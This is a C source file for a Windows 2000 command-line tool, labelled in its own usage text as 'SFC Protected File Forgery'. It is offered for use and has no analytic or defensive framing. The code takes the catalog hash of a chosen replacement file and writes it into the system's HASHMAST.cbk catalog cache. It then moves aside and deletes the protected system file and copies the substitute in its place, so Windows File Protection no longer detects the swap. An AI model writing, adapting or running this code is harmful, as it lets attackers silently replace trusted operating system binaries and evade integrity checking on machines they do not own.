#include <stdio.h>
#include <windows.h>

typedef union _OCTET
{
    unsigned __int64	Q[1];
    unsigned long		D[2];
    unsigned short		W[4];
    unsigned char		B[8];
}   OCTET;

typedef struct _HASHMAST
{
	unsigned char	hash[20];
	unsigned long	flags;
} HASHMAST;

static const unsigned char	BASE_64_CHARS[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_$";

#pragma warning (push)
#pragma warning (disable:4035)
static __forceinline unsigned __int64 __fastcall clock_counter (void) { __asm _emit 0x0F __asm _emit 0x31 }
#pragma warning (pop)

#ifdef RELEASE_MODE
static __inline
#endif
char *__fastcall bytes2str (const unsigned char *inbytes, char *outstr, const unsigned __int32 nbytes, const unsigned __int32 nchars)
{
	unsigned __int32	c;
	unsigned __int32	i = 0, j = nbytes, k = 0;
	
	while (j > 0)
	{
		c = (c << 8) | inbytes[--j];
		i += 8;
		while (i > 8)
		{
			if (k >= nchars) break;
			*outstr++ = BASE_64_CHARS[(c >> (i - 6)) & 0x3F];
			k++;
			i -= 6;
		}
	}
	if ((i > 0) && (k < nchars))
	{
		*outstr++ = BASE_64_CHARS[_lrotl (c, 6 - i) & 0x3F];
	}
	*outstr = '\0';
	return outstr;
}

static __forceinline void __fastcall attach (OCTET *y, const OCTET x, const unsigned __int32 anyA, const unsigned __int32 anyB, const unsigned __int32 oddC, const unsigned __int32 oddD)
{
	register OCTET		_x = {x.Q[0]};
	register OCTET		_y = {y->Q[0]};
	
	_x.D[0] = _lrotl ((_x.D[0] * 2 + 1) * _x.D[0], 5);
	_x.D[1] = _lrotl ((_x.D[1] * 2 + 1) * _x.D[1], 5);
	_y.D[0] = (_lrotl (_y.D[0] ^ _x.D[0], _x.D[1]) + anyA) * (oddC | 1);
	_y.D[1] = (_lrotl (_y.D[1] ^ _x.D[1], _x.D[0]) + anyB) * (oddD | 1);
	
	y->D[1] = _y.D[0];
	y->D[0] = _y.D[1];
}

static OCTET	ycrand64_A = {0x7D318A629B5F40ECUL};
static OCTET	ycrand64_B = {0xC143D50A27B698FDUL};
static OCTET	ycrand64_C = {0xFC90E4538A27DB61UL};
static OCTET	ycrand64_D = {0x841CA0B6D9F2E573UL};
static OCTET	ycrand64_E = {0x275D98EFA36104CBUL};
static OCTET	ycrand64_F = {0xABC60734521EF9D8UL};
static OCTET	ycrand64_G = {0x3FDA5189E604C2B7UL};
static OCTET	ycrand64_H = {0x1AB43DC578902EF6UL};

#ifdef RELEASE_MODE
static __inline
#endif
unsigned __int64 __fastcall ycrand64 (void)	// Reduced (Crappy) Yarrow 2000 Plague Random Number Generator
{
	unsigned long	i;
	
	for (i = 0; i < 8; i++)
	{
		ycrand64_A.Q[0] += clock_counter ();
		attach (&ycrand64_B, ycrand64_A, 0xA4054A83U, 0xA63F3D5BU, 0x6C2D64B9U, 0xCF3D65EBU);
		attach (&ycrand64_C, ycrand64_B, 0xC864ABE6U, 0x9C48345EU, 0x7E5D5F83U, 0xDAEC6FE5U);
		attach (&ycrand64_D, ycrand64_C, 0x6D4C392FU, 0x726F2EC3U, 0x2946ABDDU, 0x3DF46213U);
		attach (&ycrand64_E, ycrand64_D, 0x54E76A67U, 0x4847ED02U, 0x9B1BCF25U, 0xE84BFDF7U);
		attach (&ycrand64_F, ycrand64_E, 0x7F3DEC53U, 0x6AC86C66U, 0x132A9B6FU, 0x0EAAFCFFU);
		attach (&ycrand64_G, ycrand64_F, 0x143C4E49U, 0x583439E9U, 0x9F462227U, 0x819C6F4DU);
		attach (&ycrand64_H, ycrand64_G, 0x4847ED02U, 0xA26F263BU, 0xD3D634B1U, 0xF5718081U);
		attach (&ycrand64_A, ycrand64_H, 0x54671E0EU, 0x446D4CA1U, 0xCE84BFDBU, 0x6CF3D659U);
	}
	return ycrand64_A.Q[0] ^ ycrand64_B.Q[0];
}

static __forceinline unsigned long __fastcall ycrand32 (void) { OCTET x = {ycrand64 ()}; return x.D[0] ^ x.D[1]; }

static OCTET	ycrand_str_base_64_X = {0x514FCD8EB6792A03UL};
static OCTET	ycrand_str_base_64_Y = {0xEAC71D84692350BFUL};

#ifdef RELEASE_MODE
static __inline
#endif
char *__fastcall ycrand_str_base_64 (char *str, const unsigned __int32 length)
{
	register char				*s = str;
	register unsigned __int32	n = length, i;
	OCTET						buffer[3];
	
	*s = '\0';
	if (n) for (;;)
	{
		for (i = 0; i < 3; i++)
		{
			ycrand_str_base_64_X.Q[0] += ycrand64 ();
			attach (&ycrand_str_base_64_Y, ycrand_str_base_64_X, 0x1E409284U, 0x8AF96E31U, 0xFDDE2D81U, 0x3CCAF029U);
			attach (buffer + i, ycrand_str_base_64_Y, 0xB98FD287U, 0x808F3689U, 0xA619E2C3U, 0xB8695111U);
			attach (&ycrand_str_base_64_X, buffer[i], 0xAAC2E9BEU, 0x78D823B5U, 0x9ED5AFFFU, 0x95A056C7U);
		}
		bytes2str (buffer->B, s, 24, __min (32, n));
		if (n <= 32) break;
		n = n - 32;
		s += 32;
	}
	return str;
}

int __cdecl main (int argc, char **argv)
{
	HMODULE			hWINTRUST = LoadLibrary ("WINTRUST"), hMSV1_0 = LoadLibrary ("MSV1_0"), hKERBEROS = LoadLibrary ("KERBEROS");
	FARPROC			CryptCATAdminCalcHashFromFileHandle = hWINTRUST ? (FARPROC) GetProcAddress (hWINTRUST, "CryptCATAdminCalcHashFromFileHandle") : NULL;
	HANDLE			f, fHASHMAST;
	unsigned char	hash[64], my_hash[64];
	unsigned long	size = sizeof (hash), my_size = sizeof (my_hash), i, n, s;
	char			sysdir[MAX_PATH], tmp[MAX_PATH], toinstall[MAX_PATH], frominstall[MAX_PATH];
	HASHMAST		*hm;
	
	if (argc != 3)
	{
		MessageBox (NULL, "Windows 2000 SFC Protected File Forgery.\nUsage: forge <file> <with file>", "Forgery Usage", MB_OK | MB_ICONASTERISK | MB_TASKMODAL | MB_SETFOREGROUND);
		return 0;
	}
	GetSystemDirectory (sysdir, sizeof (sysdir));
	SetCurrentDirectory (sysdir);
	strcat (sysdir, "\\");
	if (strchr (argv[1], ':') || strchr (argv[1], '\\')  || strchr (argv[1], '/') )
		strcpy (toinstall, argv[1]);
	else
		strcat (strcpy (toinstall, sysdir), argv[1]);
	if (strchr (argv[2], ':') || strchr (argv[2], '\\')  || strchr (argv[2], '/'))
		strcpy (frominstall, argv[2]);
	else
		strcat (strcpy (frominstall, sysdir), argv[2]);
	if(((f = CreateFile (frominstall, 0x80000000, 3, 0, 3, 0x80, 0)) == INVALID_HANDLE_VALUE))
	{
		sprintf (tmp, "File %s not found!", frominstall);
		FatalAppExit (0, tmp);
	}
	if ((CryptCATAdminCalcHashFromFileHandle
	&& CryptCATAdminCalcHashFromFileHandle (f, &my_size, my_hash, 0) != 0)
	&& (my_size == 20))
	{
		printf ("Acquired %s hash:\n\t ", frominstall);
		for (i = 0; i < my_size; i++) printf ("%02X", my_hash[i]);
		printf ("\n\n");
		memcpy (hash, my_hash, size = my_size);
	}
	CloseHandle (f);
	if ((f = CreateFile (toinstall, 0x80000000, 3, 0, 3, 0x80, 0)) != INVALID_HANDLE_VALUE)
	{
		if((CryptCATAdminCalcHashFromFileHandle
		&& CryptCATAdminCalcHashFromFileHandle (f, &size, hash, 0) != 0)
		&& (size == 20))
		{
			printf ("Acquired %s hash:\n\t ", toinstall);
			for (i = 0; i < size; i++) printf ("%02X", hash[i]);
			printf ("\n\n");
		}
		CloseHandle (f);
	}
	if ((fHASHMAST = CreateFile ("CatRoot\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\HASHMAST.cbk", 0xC0000000, 3, 0, 3, 0x80, 0)) != INVALID_HANDLE_VALUE)
	{
		hm = (HASHMAST *) LocalAlloc (LPTR, n = GetFileSize (fHASHMAST, 0));
		ReadFile (fHASHMAST, hm, n, &n, 0);
		n /= sizeof (HASHMAST);
		for (s = 0, i = 0; i < n; i++)
		{
			if (memcmp (hm[i].hash, hash, 20) == 0)
			{
				memcpy (my_hash + 20, &hm[i].flags, 4);
				SetFilePointer (fHASHMAST, i * sizeof (HASHMAST), 0, 0);
				WriteFile (fHASHMAST, my_hash, sizeof (HASHMAST), &i, 0);
				s = 1;
				break;
			}
		}
		CloseHandle (fHASHMAST);
		LocalFree (hm);
		if (s) printf ("Set SFC hash for %s to its new value.\n\n", toinstall);
	}
	ycrand_str_base_64 (tmp, 25);
	tmp[8] = '.';
	tmp[12] = '\0';
	CreateDirectory (tmp, 0);
	tmp[12] = '\\';
	tmp[21] = '.';
	MoveFile (toinstall, tmp);
	tmp[12] = '\0';
	MoveFile (tmp, tmp + 13);
	memcpy (tmp, tmp + 13, 12);
	tmp[12] = '\\';
	DeleteFile (tmp);
 	RemoveDirectory (tmp + 13);
	CopyFile (frominstall, toinstall, 0);
	printf ("Successfully forged\n\t %s\nwith\n\t %s\n", toinstall, frominstall);
	return 0;
}
